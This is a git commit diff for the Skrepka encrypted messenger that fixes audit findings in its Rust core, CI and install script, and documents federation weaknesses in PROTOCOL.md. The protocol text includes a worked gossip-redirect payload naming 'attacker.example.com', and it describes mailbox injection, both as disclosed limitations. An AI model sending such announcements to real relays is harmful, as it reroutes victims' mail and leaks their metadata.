on master help sign in
Fix round-2 audit findings: blocked acks, ts clamping, key validation, docs

Rust core (core/src/): - M1: Blocked senders' messages skipped in ingest_poll (no storage, no ack) - M3: Incoming ts clamped to min(ts, now_ms + 60s) to prevent ordering abuse - L5: MAX_MESSAGES_PER_PEER=1000 cap with trim_history after each append - L6: try_parse_pubkey validates Ed25519 curve point; flush_next surfaces 'cannot send: invalid key' instead of silent drop - L7: Event::Saved checks Result, sets model.error on kv write failure Server/docs/CI: - H1: PROTOCOL.md §10 rewritten with active gossip-redirect attack description; server.knot comment added at handleRecvGossip - M2: PROTOCOL.md §7 documents /federation/forward injection risk; server.knot comment added at handleForwardMessage - L1: AGENTS.md stale 'F# artifacts' gotcha removed (all cleaned up) - L2: AGENTS.md stale 'PROTOCOL.md behind core' gotcha removed (now matches) - L3: install.sh Caddy install per-package-manager (apt/dnf/yum/brew); macOS Intel guard with clear message - L4: CI adds cargo clippy --features codegen; new macos-14 ios job runs just generate + xcodebuild; release depends on [core, ios, build] - L8: server.knot matchIp comment documents mobile IP-binding tradeoff; PROTOCOL.md §6 notes Wi-Fi/cellular re-auth behavior 43 tests pass (9 new), clippy clean.

commit362399ce81fd10945da5fa3c39b684a31abc72b3 authoriko <mail@iko.soy> dateSat 11 Jul 2026, 11:10 (3 months ago) parentaffb421
8 files changed+490−35
.github/workflows/build.yml+42−1 AGENTS.md+3−4 PROTOCOL.md+26−3 core/src/app.rs+263−12 core/src/model.rs+5 core/src/phonemic.rs+46−10 install.sh+38−5 server.knot+67
.github/workflows/build.yml+42−1
@@ -24,6 +24,47 @@ jobs:
2424 - name: Clippy
2525 run: cargo clippy -p skrepka_core --all-targets -- -D warnings
2626
27+ # The codegen bin (src/bin/codegen.rs) is behind the `codegen` feature, so
28+ # the default clippy run never compiles it — a typegen break would only
29+ # surface at `just generate` time.
30+ - name: Clippy (codegen feature)
31+ run: cargo clippy -p skrepka_core --features codegen -- -D warnings
32+
33+ ios:
34+ name: iOS shell
35+ runs-on: macos-14
36+ steps:
37+ - uses: actions/checkout@v4
38+
39+ - uses: dtolnay/rust-toolchain@stable
40+ with:
41+ targets: aarch64-apple-ios,aarch64-apple-ios-sim,x86_64-apple-ios
42+
43+ - uses: Swatinem/rust-cache@v2
44+
45+ - uses: extractions/setup-just@v2
46+
47+ - name: Install tooling
48+ run: |
49+ cargo install boltffi_cli
50+ brew install xcodegen
51+
52+ # typegen + pack + project: regenerates the Swift types, builds the core
53+ # xcframework, and emits the xcodeproj the build step below compiles.
54+ - name: Generate
55+ run: just generate
56+
57+ # -skipPackagePluginValidation matches the Justfile's `build` recipe: the
58+ # generated SPM packages carry plugins, which xcodebuild otherwise blocks
59+ # on with an interactive trust prompt.
60+ - name: Build app
61+ run: |
62+ xcodebuild -project apple/SkrepkaApp.xcodeproj \
63+ -scheme SkrepkaApp-iOS \
64+ -destination 'generic/platform=iOS Simulator' \
65+ -skipPackagePluginValidation \
66+ build
67+
2768 build:
2869 strategy:
2970 fail-fast: false
@@ -77,7 +118,7 @@ jobs:
77118 path: server
78119
79120 release:
80− needs: [core, build]
121+ needs: [core, ios, build]
81122 if: github.ref == 'refs/heads/master' && github.event_name == 'push'
82123 runs-on: ubuntu-latest
83124 permissions:
AGENTS.md+3−4
@@ -45,9 +45,10 @@ install.sh Linux deploy: downloads the release binary, writes a
4545skrepka.service Reference systemd unit (install.sh writes its own, with --http-max-body-bytes=42M).
4646Justfile All build/run recipes.
4747.cargo/config.toml Pins IPHONEOS/MACOSX deployment targets (see Gotchas).
48−.github/workflows/build.yml CI: compiles server.knot on linux-x86_64 / linux-arm64 / macos-arm64, cuts a release.
48+.github/workflows/build.yml CI: tests + clippy on the core, builds the iOS shell, compiles server.knot on
49+ linux-x86_64 / linux-arm64 / macos-arm64, cuts a release.
4950PROTOCOL.md Wire protocol specification.
50−PROTOCOL-REVIEW.md Audit of spec-vs-implementation gaps (written against the old F# client — see Gotchas).
51+PROTOCOL-REVIEW.md Audit of spec-vs-implementation gaps, cross-checked against the Rust core.
5152```
5253
5354## Build & Run
@@ -115,6 +116,4 @@ When reading diffs, pass `--git` to `jj diff` / `jj show` — the configured for
115116- **`.cargo/config.toml` is load-bearing.** It pins `IPHONEOS_DEPLOYMENT_TARGET=17.0` / `MACOSX_DEPLOYMENT_TARGET=11.0` so `zstd-sys` (a C dep) and rustc agree on the minimum OS version. Without it the linker fails on a version mismatch.
116117- **Body-size cap on the relay.** `--http-max-body-bytes` must exceed `maxBlobLen` (40 MiB hex) plus the JSON envelope, or the runtime's default 16 MiB cap rejects a max-size blob with a bare `413` before the handler's `400 invalid_message` check runs. `install.sh` sets `42M`.
117118- **Refined types don't validate inside lists.** Knot's route-boundary checks only fire on top-level scalar body fields, so `handleSendMessages` and `handleRecvGossip` re-validate nested `to` / `pubkey` / `encryptedBlob` by hand. Preserve those checks.
118−- **Stale artifacts from the deleted F# client.** `README.md` (describes an F#/Avalonia app and links a nonexistent logo), `dotnet-tools.json` (Fantomas), parts of `.gitignore` (`client/bin`, `client/obj`, `.fake`), and `PROTOCOL-REVIEW.md` (cites `client/ApiClient.fs`) all predate the Rust rewrite. Don't treat them as descriptions of the current code.
119−- **PROTOCOL.md is behind the core in one place.** §4 and §10 claim "the reference client does not yet enforce" stale-`profile` rejection. The Rust core *does* enforce it — `ingest_poll` in `app.rs` drops any `profile` whose `ts` predates `Contact::last_profile_ts`.
120119- **Federation is unauthenticated by design.** `/federation/*` endpoints accept any caller; abuse is bounded by the SSRF deny-list, the `no_presence` gate, and per-IP rate limits — not by peer authentication. `PROTOCOL.md` §10 enumerates what that does and doesn't protect.
PROTOCOL.md+26−3
@@ -276,7 +276,7 @@ All request and response bodies use `application/json`.
276276
277277### Federation Transport
278278
279−Servers contact peers over `https://<peer-host>`. Federation traffic carries no bearer tokens — federation endpoints are open to any caller, with abuse-related defenses (SSRF egress filtering, presence-gated forwarding, per-peer linear backoff) handled internally. See §7.
279+Servers contact peers over `https://<peer-host>`. Federation traffic carries no bearer tokens — federation endpoints are open to any caller, with abuse-related defenses (SSRF egress filtering, presence-gated forwarding, per-peer linear backoff) handled internally. Those defenses bound abuse; they do **not** authenticate the peer, and an unauthenticated caller can both redirect a victim's queued mail (via `/federation/gossip`) and inject blobs into an online recipient's mailbox (via `/federation/forward`). Both are accepted limitations of v0.1 — see §7 for the endpoints and §10 for the security analysis.
280280
281281### Message Size Limit
282282
@@ -331,6 +331,8 @@ Authorization: Bearer <session_token>
331331
332332When the server trusts proxy headers (`trustForwardedFor`, on by default), sessions are bound to the client's source IP — the last `X-Forwarded-For` hop. A later request from a different IP is rejected as `unauthorized`. If proxy-header trust is disabled, or no `X-Forwarded-For` header is present, the session is not IP-bound and this check is skipped.
333333
334+> **IP binding and mobile clients.** IP binding means a session does not survive a change of source address. In the reference deployment (Caddy in front, `trustForwardedFor` on) a phone that moves between Wi-Fi and cellular — or is NAT-rebound by its carrier — comes back on a new IP, so its next `/poll` or `/messages` gets `401 unauthorized` even though the token has not expired. This is expected: a client MUST treat `401` on any authenticated request as "re-run challenge/verify", not as a fatal error, and retry the request with the fresh token. The cost is one extra round trip per network change; the benefit is that a stolen bearer token is not usable from another network. Operators who prefer sessions that roam can run with `--trustForwardedFor=False`, which leaves sessions un-bound (the check is skipped when no trusted IP is available).
335+
334336When a token expires, the server responds with `401`. The client re-authenticates by repeating the challenge-response flow.
335337
336338> **Channel binding.** The signed payload includes the target server's hostname under the `skrepka-auth-v1:` domain-separation tag (step 3). Because the client binds to the host it actually dialed and the server verifies against its own `serverHost`, a relay server cannot forward a challenge it obtained from a *different* server and replay the resulting signature to impersonate the client there: the client's signature commits to the relay's hostname, not the victim server's, so verification at the victim fails. This binding is a **breaking change** — client and server must agree on the signed payload. The host comparison is on the bare hostname only (port and scheme excluded), so the same identity authenticates regardless of the port a server listens on.
@@ -474,6 +476,8 @@ A server may hold multiple presence rows for the same pubkey — one per peer th
474476- Rejected with `400 invalid_request` if `fromServer` equals this server's identity, fails the SSRF deny-list, or the event count exceeds the cap.
475477- `online` events for keys not previously seen at `fromServer` trigger an immediate forward sweep: any locally-queued messages addressed to those keys are scheduled for `/federation/forward`.
476478
479+> **Unauthenticated — and this endpoint steers delivery.** `/federation/gossip` accepts any caller, and the `fromServer` field is self-asserted. Because an `online` event causes the receiving server to forward that pubkey's queued mail to `fromServer`, anyone who can reach a relay can *redirect* a victim's inbound ciphertext to a host of their choosing by announcing `{ "eventType": "online", "pubkey": <victim>, "fromServer": <attacker-host> }`. See §10, *Open federation — gossip redirect*.
480+
477481### `POST /federation/forward` — Receive a federated message
478482
479483**Request:**
@@ -488,6 +492,8 @@ There is no `from`, no origin-server hint, and no sender timestamp — the recei
488492
489493The receiver **requires the recipient to be currently locally online** (i.e. have an unexpired local presence row). If not, it returns `404 no_presence` and the origin retries (see below) or holds the message in its own mailbox.
490494
495+> **Unauthenticated — mailbox injection is possible.** `/federation/forward` accepts any caller: there is no bearer token, no peer signature, and nothing ties the request to a server the receiver actually federates with. Any host that can reach a relay can therefore inject arbitrary blobs into the mailbox of any recipient who is currently locally online. The only bounds are the per-source-IP rate limit on the route (`forwardLimit`), the SSRF deny-list (which constrains where a relay will *send*, not who may call it), and the `no_presence` gate (which limits injection to online recipients). Injected junk is undecryptable, so a client drops it silently on ingest — but it still occupies the recipient's poll stream and the relay's mailbox until the cursor advances past it. This is an accepted limitation of v0.1; see §10, *Open federation — forward injection*. Peer authentication is the intended fix.
496+
491497### Forward Retries
492498
493499Forwards that fail (network error or `no_presence`) remain queued at the origin and are retried by a background loop:
@@ -591,11 +597,28 @@ Skrepka protects message **content and sender identity** from servers and networ
591597| **No durable delivery** | If the sender's server goes down or all forward retries fail, messages may be lost. |
592598| **Unauthenticated session relay** (mitigated) | The auth signature is bound to the target server's hostname under a domain-separation tag (§6), so a malicious/relay server can no longer forward another server's challenge and replay the resulting signature to impersonate the client elsewhere — the signature commits to the relay's own hostname. Residual caveat: the binding is to the hostname the client dialed, so it assumes the client reaches each server under its true `serverHost` (DNS/TLS integrity); it does not defend against an attacker who fully controls name resolution and the server's certificate. |
593599| **Same-recipient replay** | Nothing stops a captured blob from being re-delivered to its original recipient. The damage is bounded per payload type: `text` is deduplicated by `id`, `delivery.ack` is idempotent, and `profile` — which carries no `id` — is guarded by the per-contact `ts` staleness check of §4, which the reference client enforces, so a replayed stale `profile` is dropped rather than rolling a contact's cached profile back. A client that omits that check is open to profile rollback. |
594−| **Open federation — gossip redirect** | Federation endpoints are unauthenticated. The SSRF deny-list and `no_presence` gate limit abuse but do not authenticate peers. Beyond passively observing gossip, a hostile server can *actively redirect delivery*: by announcing `{eventType:"online", pubkey:<victim>, fromServer:<attacker>}` it causes origin servers to forward the victim's queued ciphertext to the attacker, which harvests ciphertext copies plus recipient/timing/size metadata. |
595−| **Open federation — forward injection** | `/federation/forward` is unauthenticated, so any host can inject arbitrary blobs into a currently-online recipient's mailbox (rate-limited per source IP, and undecryptable blobs are dropped client-side, but they still consume the recipient's poll stream). |
600+| **Open federation — gossip redirect** | `/federation/gossip` is unauthenticated, and the harm is *active*, not merely passive observation: an attacker announces the victim online at a host it controls and origin relays forward the victim's queued ciphertext there. See *Open federation* below. |
601+| **Open federation — forward injection** | `/federation/forward` is unauthenticated, so any host can inject arbitrary blobs into a currently-online recipient's mailbox. See *Open federation* below. |
596602| **No cryptographic agility** | The wire format has no version field and a fixed HKDF `info` (§3); the AEAD/KDF/curve cannot be migrated in-band. |
597603| **TOFU only** | A first-time public key is trusted on encounter; users must compare fingerprints out-of-band to detect MITM at first contact. |
598604
605+### Open Federation (accepted limitation of v0.1)
606+
607+Every `/federation/*` endpoint accepts **any caller**. There is no bearer token, no peer signature, and no allow-list: a relay cannot tell a genuine peer from an arbitrary host on the internet. Two concrete attacks follow, and it is worth stating them precisely, because "a hostile server can observe gossip" understates both.
608+
609+**1. Gossip redirect — actively rerouting a victim's mail.** The `fromServer` field on `/federation/gossip` is self-asserted, and an `online` event for a previously-unseen key makes the receiving relay sweep its mailbox and forward that key's queued messages to `fromServer` (§7). So an attacker does not have to wait and watch. It posts:
610+
611+```json
612+{ "events": [ { "eventType": "online", "pubkey": "<victim>" } ],
613+ "fromServer": "attacker.example.com" }
614+```
615+
616+to every relay it can reach. Each relay holding mail for the victim now forwards that ciphertext to the attacker's host. The receiver-side "recipient must be locally online" gate does not help — that check runs on the *attacker's* server, which the attacker controls. Message **content** stays protected by E2E encryption, but the attacker harvests ciphertext copies and recipient/timing/size metadata — a real leak for a metadata-privacy-focused messenger.
617+
618+**2. Forward injection — spam into an online recipient's mailbox.** `/federation/forward` is unauthenticated, so any host can inject arbitrary blobs into the mailbox of any recipient who is currently locally online. Injected junk is undecryptable, so a client drops it silently on ingest — but it occupies the recipient's poll stream and the relay's mailbox until the cursor advances past it. The only bounds are the per-source-IP rate limit (`forwardLimit`), the SSRF deny-list (which constrains where a relay will *send*, not who may call it), and the `no_presence` gate (which limits injection to online recipients).
619+
620+**Mitigation path.** Both attacks are accepted limitations of v0.1's unauthenticated federation. The intended fix is peer authentication — signed presence gossip and authenticated forward requests — or an explicit peer allow-list gate before `forwardQueuedToServer`. Until then, operators who federate only with trusted peers (or not at all) are unaffected.
621+
599622### Recommendations for Implementers
600623
601624- Store private keys in platform-secure storage (Keychain, Keystore, etc.).
core/src/app.rs+263−12
@@ -22,7 +22,7 @@ use serde::{Deserialize, Serialize};
2222use crate::crypto::Identity;
2323use crate::model::{
2424 hex_to_ob, trunc_ob, Contact, ContactVM, MessageVM, OutboxItem, OwnProfile, ProfileVM,
25− Settings, StoredMessage, ViewModel,
25+ Settings, StoredMessage, ViewModel, MAX_MESSAGES_PER_PEER,
2626};
2727use crate::phonemic;
2828use crate::protocol::{self, Envelope, Payload};
@@ -33,6 +33,11 @@ type Time = crux_time::Time<Effect, Event>;
3333type HttpResult = crux_http::Result<crux_http::Response<Vec<u8>>>;
3434type KvData = Result<Option<Vec<u8>>, crux_kv::error::KeyValueError>;
3535
36+/// How far into the future an incoming, sender-chosen `ts` may sit before it is
37+/// clamped to "now" — enough slack for honest clock skew, not enough to let a
38+/// peer park itself at the top of the conversation list.
39+const MAX_FUTURE_SKEW_MS: i64 = 60_000;
40+
3641// kv keys
3742const K_SETTINGS: &str = "settings";
3843const K_PROFILE: &str = "profile";
@@ -383,7 +388,15 @@ impl App for Skrepka {
383388 }
384389 render()
385390 }
386− Event::Saved(_) => Command::done(),
391+ Event::Saved(res) => {
392+ // A dropped write silently loses data (a message, a contact, the
393+ // cursor), so surface it rather than swallowing the result.
394+ if let Err(e) = res {
395+ model.error = Some(format!("could not save data: {e}"));
396+ return render();
397+ }
398+ Command::done()
399+ }
387400
388401 // ---------------- navigation ----------------
389402 Event::ShowConversations => {
@@ -491,6 +504,12 @@ impl App for Skrepka {
491504 photo: model.profile.photo.clone(),
492505 };
493506 // Broadcast the new profile to every contact.
507+ //
508+ // Each item carries its own copy of the serialized payload, so a
509+ // profile with a photo is duplicated (base64 and all) once per
510+ // contact, in memory and in the `outbox` kv blob. Acceptable at
511+ // today's contact counts; the fix is to intern the payload and
512+ // have `OutboxItem` reference it by id.
494513 for peer in model.contacts.keys().cloned().collect::<Vec<_>>() {
495514 model.outbox.push_back(OutboxItem {
496515 recipient: peer,
@@ -795,6 +814,7 @@ impl Skrepka {
795814 outgoing: true,
796815 delivered: false,
797816 });
817+ trim_history(convo);
798818
799819 // Auto-create a bare contact if messaging a brand-new key.
800820 model
@@ -839,14 +859,24 @@ impl Skrepka {
839859 let (Some(id), Some(token)) = (model.identity(), model.token.clone()) else {
840860 return Command::done();
841861 };
842− let Ok(recipient) = hex::decode(&item.recipient) else {
843− // Bad recipient — drop it.
862+ // An unusable recipient key can never be encrypted to, so the item has to
863+ // be dropped or it blocks the head of the outbox forever — but say so,
864+ // rather than letting the message vanish.
865+ let drop_item = |model: &mut Model| {
866+ model.error = Some(format!(
867+ "cannot send to {}: invalid key",
868+ trunc_ob(&item.recipient)
869+ ));
844870 model.outbox.pop_front();
871+ };
872+
873+ let Ok(recipient) = hex::decode(&item.recipient) else {
874+ drop_item(model);
845875 return self.persist_outbox(model).and(self.flush_next(model));
846876 };
847877 let mut recip = [0u8; 32];
848878 if recipient.len() != 32 {
849− model.outbox.pop_front();
879+ drop_item(model);
850880 return self.persist_outbox(model).and(self.flush_next(model));
851881 }
852882 recip.copy_from_slice(&recipient);
@@ -854,9 +884,11 @@ impl Skrepka {
854884 let mut rng = rand_core::OsRng;
855885 let blob = match crate::crypto::encrypt(&mut rng, &id, &recip, item.envelope_json.as_bytes())
856886 {
887+ // Reachable for a 32-byte key that isn't a curve point: `AddContact`
888+ // rejects those now, but an older contact list may still hold one.
857889 Ok(b) => b,
858890 Err(_) => {
859− model.outbox.pop_front();
891+ drop_item(model);
860892 return self.persist_outbox(model).and(self.flush_next(model));
861893 }
862894 };
@@ -893,6 +925,7 @@ impl Skrepka {
893925 return Command::done();
894926 };
895927
928+ let now = now_ms();
896929 let mut touched_convos: Vec<String> = Vec::new();
897930 let mut contacts_dirty = false;
898931 // sender hex -> message ids needing acks
@@ -909,13 +942,25 @@ impl Skrepka {
909942 continue;
910943 };
911944 let sender = dec.sender_hex;
945+ // `ts` is chosen by the sender and drives conversation ordering,
946+ // in-chat ordering, and the displayed time. Bound it to the near
947+ // future so a peer cannot pin itself to the top of the list forever
948+ // with `ts = i64::MAX`.
949+ let ts = parsed.ts.min(now.saturating_add(MAX_FUTURE_SKEW_MS));
950+ let blocked = model.contacts.get(&sender).is_some_and(|c| c.blocked);
912951 match parsed.payload {
913952 Payload::Text { id: msg_id, body } => {
953+ // A blocked peer's messages are not displayed (PROTOCOL.md
954+ // §4), so don't store them — and don't ack them either: an
955+ // ack would tell them we are online and reading.
956+ if blocked {
957+ continue;
958+ }
914959 // auto-create contact
915960 if !model.contacts.contains_key(&sender) {
916961 model
917962 .contacts
918− .insert(sender.clone(), Contact::new(sender.clone(), String::new(), parsed.ts));
963+ .insert(sender.clone(), Contact::new(sender.clone(), String::new(), ts));
919964 contacts_dirty = true;
920965 }
921966 let convo = model.messages.entry(sender.clone()).or_default();
@@ -924,11 +969,12 @@ impl Skrepka {
924969 convo.push(StoredMessage {
925970 id: msg_id.clone(),
926971 body,
927− ts: parsed.ts,
972+ ts,
928973 outgoing: false,
929974 delivered: false,
930975 });
931976 convo.sort_by_key(|m| m.ts);
977+ trim_history(convo);
932978 if !touched_convos.contains(&sender) {
933979 touched_convos.push(sender.clone());
934980 }
@@ -957,13 +1003,15 @@ impl Skrepka {
9571003 let c = model
9581004 .contacts
9591005 .entry(sender.clone())
960− .or_insert_with(|| Contact::new(sender.clone(), String::new(), parsed.ts));
961− // Ignore stale profile replays (PROTOCOL.md §4).
962− if parsed.ts >= c.last_profile_ts {
1006+ .or_insert_with(|| Contact::new(sender.clone(), String::new(), ts));
1007+ // Ignore stale profile replays (PROTOCOL.md §4). The clamped
1008+ // `ts` is what gets recorded, so a peer cannot park
1009+ // `last_profile_ts` at `i64::MAX` and freeze its own profile.
1010+ if ts >= c.last_profile_ts {
9631011 c.display_name = display_name;
9641012 c.bio = bio;
9651013 c.photo = photo;
966− c.last_profile_ts = parsed.ts;
1014+ c.last_profile_ts = ts;
9671015 contacts_dirty = true;
9681016 }
9691017 }
@@ -998,6 +1046,16 @@ fn backoff_ms(retries: u32) -> u64 {
9981046 (3000u64.saturating_mul(1u64 << retries.min(4))).min(30_000)
9991047}
10001048
1049+/// Age out local history: keep only the most recent `MAX_MESSAGES_PER_PEER`
1050+/// messages of a conversation (PROTOCOL.md §9). Callers keep `convo` sorted by
1051+/// `ts`, so the oldest messages are at the front. The subsequent kv write
1052+/// persists the trimmed list, bounding the `messages:<peer>` blob too.
1053+fn trim_history(convo: &mut Vec<StoredMessage>) {
1054+ if let Some(excess) = convo.len().checked_sub(MAX_MESSAGES_PER_PEER) {
1055+ convo.drain(..excess);
1056+ }
1057+}
1058+
10011059/// Decode a kv `get` result into a typed value, ignoring errors / absence.
10021060fn parse_kv<T: for<'de> Deserialize<'de>>(res: KvData) -> Option<T> {
10031061 let bytes = res.ok().flatten()?;
@@ -1022,6 +1080,199 @@ mod tests {
10221080 Identity::from_seed(&[seed; 32]).public_key_hex()
10231081 }
10241082
1083+ /// A poll page carrying one payload, encrypted from `sender_seed` to `me`.
1084+ fn page_from(sender_seed: u8, me: &Model, payload: &Payload, ts: i64) -> PollResp {
1085+ let sender = Identity::from_seed(&[sender_seed; 32]);
1086+ let recipient = Identity::from_secret_bytes(me.secret_key.as_ref().unwrap()).unwrap();
1087+ let json = protocol::serialize_payload(payload, ts);
1088+ let blob = crate::crypto::encrypt(
1089+ &mut rand_core::OsRng,
1090+ &sender,
1091+ &recipient.public_key(),
1092+ json.as_bytes(),
1093+ )
1094+ .unwrap();
1095+ PollResp {
1096+ events: vec![PollEvent {
1097+ encrypted_blob: hex::encode(blob),
1098+ }],
1099+ cursor: 1,
1100+ }
1101+ }
1102+
1103+ fn text(id: &str, body: &str) -> Payload {
1104+ Payload::Text {
1105+ id: id.to_string(),
1106+ body: body.to_string(),
1107+ }
1108+ }
1109+
1110+ /// PROTOCOL.md §4: a blocked peer's messages are not shown — and acking them
1111+ /// would tell the blocked peer we are online and reading.
1112+ #[test]
1113+ fn a_blocked_senders_message_is_neither_stored_nor_acked() {
1114+ let app = Skrepka;
1115+ let mut m = with_identity();
1116+ let peer = peer_hex(9);
1117+ let mut contact = Contact::new(peer.clone(), "Bob".into(), 0);
1118+ contact.blocked = true;
1119+ m.contacts.insert(peer.clone(), contact);
1120+
1121+ let page = page_from(9, &m, &text("m1", "hi"), now_ms());
1122+ let _ = app.ingest_poll(&mut m, page);
1123+
1124+ assert!(
1125+ m.messages.get(&peer).is_none_or(Vec::is_empty),
1126+ "a blocked peer's message must not be stored"
1127+ );
1128+ assert!(m.outbox.is_empty(), "no delivery.ack goes back to a blocked peer");
1129+ // ...and nothing to render in the chat, even if it is opened.
1130+ m.active_peer = Some(peer);
1131+ m.page = Page::Chat;
1132+ assert!(app.view(&m).messages.is_empty());
1133+ }
1134+
1135+ /// The same page, unblocked: the control that proves the gate is the block
1136+ /// flag and not something else in the ingest path.
1137+ fn ingest_one_text_from_an_unblocked_peer() -> (Model, String) {
1138+ let app = Skrepka;
1139+ let mut m = with_identity();
1140+ let peer = peer_hex(9);
1141+ let page = page_from(9, &m, &text("m1", "hi"), now_ms());
1142+ let _ = app.ingest_poll(&mut m, page);
1143+ (m, peer)
1144+ }
1145+
1146+ #[test]
1147+ fn an_unblocked_senders_message_is_stored_and_acked() {
1148+ let (m, peer) = ingest_one_text_from_an_unblocked_peer();
1149+ assert_eq!(m.messages[&peer].len(), 1);
1150+ assert_eq!(m.messages[&peer][0].body, "hi");
1151+ assert_eq!(m.outbox.len(), 1, "one delivery.ack is queued");
1152+ assert_eq!(m.outbox[0].recipient, peer);
1153+ }
1154+
1155+ /// A peer sending `ts = i64::MAX` used to pin itself to the top of the
1156+ /// conversation list forever, and render with an absurd timestamp.
1157+ #[test]
1158+ fn a_far_future_timestamp_is_clamped_to_now() {
1159+ let app = Skrepka;
1160+ let mut m = with_identity();
1161+ let peer = peer_hex(9);
1162+
1163+ let page = page_from(9, &m, &text("m1", "hi"), i64::MAX);
1164+ let before = now_ms();
1165+ let _ = app.ingest_poll(&mut m, page);
1166+
1167+ let ts = m.messages[&peer][0].ts;
1168+ assert!(
1169+ ts <= now_ms() + MAX_FUTURE_SKEW_MS,
1170+ "ts {ts} must be clamped into the skew window"
1171+ );
1172+ assert!(ts >= before, "and clamped to now, not to some past value");
1173+ // The clamped value is what the shell sorts and renders by.
1174+ assert_eq!(app.view(&m).contacts[0].last_ts, ts);
1175+ }
1176+
1177+ /// Honest clock skew inside the tolerance is preserved as-is.
1178+ #[test]
1179+ fn a_slightly_future_timestamp_is_kept() {
1180+ let app = Skrepka;
1181+ let mut m = with_identity();
1182+ let peer = peer_hex(9);
1183+ let ts = now_ms() + 5_000;
1184+
1185+ let page = page_from(9, &m, &text("m1", "hi"), ts);
1186+ let _ = app.ingest_poll(&mut m, page);
1187+
1188+ assert_eq!(m.messages[&peer][0].ts, ts);
1189+ }
1190+
1191+ #[test]
1192+ fn message_history_is_capped_at_the_cutoff() {
1193+ let app = Skrepka;
1194+ let mut m = with_identity();
1195+ let peer = peer_hex(9);
1196+
1197+ let convo = m.messages.entry(peer.clone()).or_default();
1198+ for i in 0..MAX_MESSAGES_PER_PEER {
1199+ convo.push(StoredMessage {
1200+ id: format!("old-{i}"),
1201+ body: "x".into(),
1202+ ts: i as i64,
1203+ outgoing: false,
1204+ delivered: false,
1205+ });
1206+ }
1207+
1208+ let page = page_from(9, &m, &text("new", "newest"), now_ms());
1209+ let _ = app.ingest_poll(&mut m, page);
1210+
1211+ let convo = &m.messages[&peer];
1212+ assert_eq!(convo.len(), MAX_MESSAGES_PER_PEER, "the cap holds");
1213+ assert_eq!(convo.last().unwrap().id, "new", "the newest is kept");
1214+ assert_eq!(convo.first().unwrap().id, "old-1", "the oldest is aged out");
1215+ }
1216+
1217+ /// An off-curve key can't be encrypted to, so the send is dropped — but the
1218+ /// user has to be told, rather than watching the message vanish.
1219+ #[test]
1220+ fn a_send_to_an_unusable_key_reports_an_error() {
1221+ let app = Skrepka;
1222+ let mut m = with_identity();
1223+ m.token = Some("t".into());
1224+ let bad = hex::encode([0xabu8; 32]); // 32 bytes, not a curve point
1225+ m.outbox.push_back(OutboxItem {
1226+ recipient: bad,
1227+ envelope_json: "{}".into(),
1228+ });
1229+
1230+ let _ = app.update(Event::StartFlush, &mut m);
1231+
1232+ assert!(m.outbox.is_empty(), "the unsendable item does not wedge the outbox");
1233+ assert!(!m.flushing);
1234+ let err = m.error.expect("the failure is surfaced");
1235+ assert!(err.contains("invalid key"), "got: {err}");
1236+ }
1237+
1238+ #[test]
1239+ fn add_contact_rejects_a_key_that_is_not_a_curve_point() {
1240+ let app = Skrepka;
1241+ let mut m = with_identity();
1242+ let bad = hex::encode([0xabu8; 32]);
1243+
1244+ let _ = app.update(
1245+ Event::AddContact {
1246+ input: bad.clone(),
1247+ nickname: "Mallory".into(),
1248+ },
1249+ &mut m,
1250+ );
1251+
1252+ assert!(!m.contacts.contains_key(&bad), "an unsendable contact is not stored");
1253+ assert!(m.error.is_some());
1254+ }
1255+
1256+ /// A dropped kv write silently loses data; it must not be swallowed.
1257+ #[test]
1258+ fn a_failed_save_surfaces_an_error() {
1259+ let app = Skrepka;
1260+ let mut m = with_identity();
1261+
1262+ let _ = app.update(
1263+ Event::Saved(Err(crux_kv::error::KeyValueError::Io {
1264+ message: "no space left on device".into(),
1265+ })),
1266+ &mut m,
1267+ );
1268+ assert!(m.error.is_some(), "a failed write is reported");
1269+
1270+ // A successful write stays quiet.
1271+ m.error = None;
1272+ let _ = app.update(Event::Saved(Ok(None)), &mut m);
1273+ assert!(m.error.is_none());
1274+ }
1275+
10251276 #[test]
10261277 fn server_host_strips_scheme_port_and_case() {
10271278 assert_eq!(server_host("https://Relay.Example.com:8443/x"), "relay.example.com");
core/src/model.rs+5
@@ -12,6 +12,11 @@ use crate::phonemic;
1212
1313pub const DEFAULT_SERVER_URL: &str = "http://localhost:8080";
1414
15+/// Cap on locally retained messages per conversation (PROTOCOL.md §9: clients
16+/// SHOULD age out local message history). Both the in-memory `Vec` and the
17+/// `messages:<peer>` kv blob are trimmed to this many most-recent messages.
18+pub const MAX_MESSAGES_PER_PEER: usize = 1000;
19+
1520#[derive(Serialize, Deserialize, Clone, Debug)]
1621pub struct Settings {
1722 pub server_url: String,
core/src/phonemic.rs+46−10
@@ -94,20 +94,28 @@ pub fn from_ob(s: &str) -> Option<Vec<u8>> {
9494 Some(out)
9595}
9696
97+/// Check that `bytes` is a 32-byte, well-formed Ed25519 public key, and return
98+/// its lowercase hex.
99+///
100+/// Length alone is not enough: `crypto::encrypt` decompresses the recipient key
101+/// to its Montgomery form, so 32 bytes that aren't a curve point would be
102+/// accepted as a contact and then fail on *every* send to them.
103+fn valid_pubkey_hex(bytes: &[u8]) -> Option<String> {
104+ let key: [u8; 32] = bytes.try_into().ok()?;
105+ ed25519_dalek::VerifyingKey::from_bytes(&key).ok()?;
106+ Some(hex::encode(key))
107+}
108+
97109/// Parse a contact identifier given as either a `@p` string or 64-char hex.
98110/// Returns the lowercase hex of a valid 32-byte Ed25519 public key.
99111pub fn try_parse_pubkey(input: &str) -> Option<String> {
100112 let trimmed = input.trim();
101113 // Try @p first (contains hyphens or non-hex syllables), then hex.
102− if let Some(bytes) = from_ob(trimmed) {
103− if bytes.len() == 32 {
104− return Some(hex::encode(bytes));
105− }
114+ if let Some(hex) = from_ob(trimmed).as_deref().and_then(valid_pubkey_hex) {
115+ return Some(hex);
106116 }
107117 if let Ok(bytes) = hex::decode(trimmed.to_lowercase()) {
108− if bytes.len() == 32 {
109− return Some(hex::encode(bytes));
110− }
118+ return valid_pubkey_hex(&bytes);
111119 }
112120 None
113121}
@@ -138,9 +146,19 @@ mod tests {
138146 assert!(ob.starts_with("dozzod-dozzod"));
139147 }
140148
149+ /// A real Ed25519 public key. `try_parse_pubkey` now checks that a key is a
150+ /// curve point, so tests can't use an arbitrary byte pattern.
151+ fn real_key() -> [u8; 32] {
152+ crate::crypto::Identity::from_seed(&[7u8; 32]).public_key()
153+ }
154+
155+ /// 32 bytes that decode fine but are *not* on the curve — the case that used
156+ /// to be accepted as a contact and then failed on every send to it.
157+ const NOT_A_POINT: [u8; 32] = [0xab; 32];
158+
141159 #[test]
142160 fn try_parse_accepts_hex_and_ob() {
143− let key = [0xabu8; 32];
161+ let key = real_key();
144162 let hex_str = hex::encode(key);
